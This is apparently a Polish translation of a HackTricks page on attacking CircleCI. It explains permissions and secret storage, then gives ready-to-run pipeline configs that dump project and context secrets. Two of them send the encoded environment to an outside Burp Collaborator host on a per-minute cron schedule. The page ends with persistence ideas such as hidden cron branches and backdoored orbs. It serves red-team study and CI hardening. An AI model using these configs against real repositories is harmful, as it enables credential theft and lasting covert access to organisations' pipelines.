CircleCI Security

Dowiedz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Dowiedz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

Podstawowe informacje

CircleCI to platforma do ciągłej integracji, gdzie możesz definiować szablony wskazujące, co chcesz, aby zrobiła z pewnym kodem i kiedy to zrobić. W ten sposób możesz automatyzować testowanie lub wdrożenia bezpośrednio z gałęzi głównej repozytorium na przykład.

Uprawnienia

CircleCI dziedziczy uprawnienia z githuba i bitbucketa związane z kontem, które się loguje. W moich testach sprawdziłem, że o ile masz uprawnienia do zapisu w repozytorium na githubie, będziesz mógł zarządzać ustawieniami projektu w CircleCI (ustawiać nowe klucze ssh, pobierać klucze api projektu, tworzyć nowe gałęzie z nowymi konfiguracjami CircleCI...).

Jednakże, musisz być administratorem repozytorium, aby przekształcić repozytorium w projekt CircleCI.

Zmienne środowiskowe i Sekrety

Zgodnie z dokumentacją istnieją różne sposoby ładowania wartości do zmiennych środowiskowych w ramach przepływu pracy.

Wbudowane zmienne środowiskowe

Każdy kontener uruchomiony przez CircleCI będzie zawsze miał określone zmienne środowiskowe zdefiniowane w dokumentacji takie jak CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME lub CIRCLE_USERNAME.

Tekst czysty

Możesz je zadeklarować w tekście czystym wewnątrz polecenia:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Możesz je zadeklarować w czystym tekście wewnątrz środowiska uruchomieniowego:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Możesz je zadeklarować w czystym tekście wewnątrz środowiska build-job:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Możesz zadeklarować je w czystym tekście wewnątrz środowiska kontenera:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Tajne projekty

To są sekrety, które będą dostępne tylko dla projektu (dla dowolnej gałęzi). Możesz je zobaczyć zadeklarowane w https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Funkcjonalność "Importuj zmienne" pozwala na importowanie zmiennych z innych projektów do tego.

Tajne kontekstu

To są tajne informacje, które są ogólnodostępne dla organizacji. Domyślnie każde repozytorium będzie miało dostęp do dowolnego tajnego przechowywanego tutaj:

Należy jednak zauważyć, że można wybrać inną grupę (zamiast Wszyscy członkowie), aby udzielić dostępu do tajnych informacji tylko określonym osobom. Obecnie jest to jedna z najlepszych metod zwiększenia bezpieczeństwa tajnych informacji, aby nie pozwalać każdemu na dostęp do nich, ale tylko wybranym osobom.

Ataki

Wyszukiwanie jawnie zapisanych tajemnic

Jeśli masz dostęp do VCS (takiego jak github), sprawdź plik .circleci/config.yml w każdym repozytorium na każdej gałęzi i szukaj potencjalnych jawnie zapisanych tajemnic przechowywanych tam.

Zmienne środowiskowe tajnych informacji i wyliczanie kontekstu

Sprawdzając kod, możesz znaleźć wszystkie nazwy tajnych informacji, które są używane w każdym pliku .circleci/config.yml. Możesz także uzyskać nazwy kontekstów z tych plików lub sprawdzić je w konsoli internetowej: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Wyciek tajnych informacji projektu

Aby wyciec wszystkie tajne informacje projektu i kontekstu, wystarczy mieć uprawnienia DO ZAPISU do tylko 1 repozytorium w całej organizacji github (i twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu).

Funkcjonalność "Importuj zmienne" pozwala na importowanie zmiennych z innych projektów do tego. Dlatego atakujący mógłby zaimportować wszystkie zmienne projektowe ze wszystkich repozytoriów a następnie wyciec wszystkie razem.

Wszystkie tajne informacje projektu zawsze są ustawione w środowisku zadań, więc po prostu wywołanie env i zaszyfrowanie go w base64 spowoduje wyciek tajnych informacji w konsoli dziennika prac w interfejsie webowym workflows:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Jeśli nie masz dostępu do konsoli internetowej, ale masz dostęp do repozytorium i wiesz, że jest używany CircleCI, możesz po prostu utworzyć przepływ pracy, który jest uruchamiany co minutę i wyprowadza tajne informacje do zewnętrznego adresu:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Wyciekaj tajemnice kontekstu

Musisz określić nazwę kontekstu (to spowoduje również wyciek projektowych tajemnic):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Jeśli nie masz dostępu do konsoli internetowej, ale masz dostęp do repozytorium i wiesz, że jest używany CircleCI, możesz po prostu zmodyfikować pracę, która jest uruchamiana co minutę i wycieka tajne informacje do zewnętrznego adresu:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Po prostu utworzenie nowego pliku .circleci/config.yml w repozytorium nie wystarczy, aby uruchomić proces budowania w CircleCI. Musisz włączyć go jako projekt w konsoli CircleCI.

Ucieczka do Chmury

CircleCI daje Ci opcję uruchamiania swoich procesów budowania na ich maszynach lub na Twoich własnych. Domyślnie ich maszyny znajdują się w GCP, i początkowo nie będziesz w stanie znaleźć nic istotnego. Jednak jeśli ofiara uruchamia zadania na swoich własnych maszynach (potencjalnie w środowisku chmurowym), możesz znaleźć punkt końcowy metadanych chmury z ciekawymi informacjami.

Zauważ, że w poprzednich przykładach wszystko było uruchamiane wewnątrz kontenera Docker, ale możesz także poprosić o uruchomienie maszyny wirtualnej VM (która może mieć inne uprawnienia chmurowe):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

lub nawet kontener Docker z dostępem do zdalnej usługi Docker:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Wytrwałość

  • Możliwe jest utworzenie tokenów użytkownika w CircleCI w celu uzyskania dostępu do punktów końcowych API z uprawnieniami użytkownika.

  • https://app.circleci.com/settings/user/tokens

  • Możliwe jest utworzenie tokenów projektów w celu uzyskania dostępu do projektu z uprawnieniami nadanymi tokenowi.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Możliwe jest dodanie kluczy SSH do projektów.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Możliwe jest utworzenie zadania cron w ukrytej gałęzi w nieoczekiwanym projekcie, który wycieka wszystkie zmienne środowiskowe kontekstu codziennie.

  • Lub nawet utworzenie w gałęzi / zmodyfikowanie znanego zadania, które będzie wyciekać wszystkie konteksty i sekrety projektów codziennie.

  • Jeśli jesteś właścicielem githuba, możesz zezwolić na niezweryfikowane orby i skonfigurować je w zadaniu jako tylną furtkę

  • Możesz znaleźć podatność na wstrzykiwanie poleceń w pewnym zadaniu i wstrzyknąć polecenia za pomocą sekretu, zmieniając jego wartość.

Last updated